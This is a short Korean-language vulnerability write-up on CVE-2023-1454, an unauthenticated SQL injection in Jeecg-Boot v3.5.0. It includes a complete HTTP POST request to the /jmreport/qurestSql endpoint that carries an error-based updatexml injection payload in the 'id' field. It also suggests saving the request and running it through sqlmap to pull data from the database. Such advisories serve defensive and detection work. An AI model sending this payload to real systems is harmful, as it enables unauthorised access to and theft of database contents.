
CVE-2023-1454 취약점 탐지 스크립트
CVE-2023-1454 취약점 탐지 스크립트
본 문서는 참고용으로만 제공되며, 허가 없이 문서 내 기술 정보 및 도구를 사용하여 컴퓨터 시스템에 침입해서는 안 됩니다. 본 문서의 정보를 사용하여 발생하는 직접적 또는 간접적 결과 및 손해는 모두 사용자 본인에게 책임이 있습니다.
개요 Jeecg-Boot는 코드 생성기를 기반으로 한 저코드 개발 플랫폼으로, 코드 생성기, 템플릿 엔진, 권한 관리, 데이터 사전, 데이터 가져오기/내보내기 등 다양한 기능을 제공하여 개발자가 엔터프라이즈 애플리케이션을 신속하게 구축할 수 있도록 지원합니다.
취약점 개요 엔터프라이즈 웹 애플리케이션을 위한 Java 저코드 플랫폼 Jeecg-Boot(v3.5.0)는 jimureport-spring-boot-starter-1.5.6.jar를 사용합니다. Jeecg-Boot는 특수 문자 필터링에 결함이 있으며, 프런트엔드가 Vue3인 v3.5.0 버전 조건에서 Jeecg에는 인증되지 않은 SQL 인젝션이 존재합니다. 취약점은 /querySql 경로가 호출될 때 SQL에서 id가 처리되지 않아 발생하며, 이를 통해 직접 오류 기반 인젝션을 수행할 수 있습니다. 인증되지 않은 원격 공격자는 특수하게 조작된 문자열을 구성하여 최종적으로 대상 데이터베이스의 민감한 정보를 획득할 수 있습니다.
영향을 받는 버전 영향을 받는 버전: Jeecg-Boot = v3.5.0
데이터 패킷을 txt 파일로 저장한 후 sqlmap을 사용하여 데이터를 얻을 수 있습니다
POST /jmreport/qurestSql HTTP/1.1
Host: xxx.xxx.xxx
Content-Length: 0
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}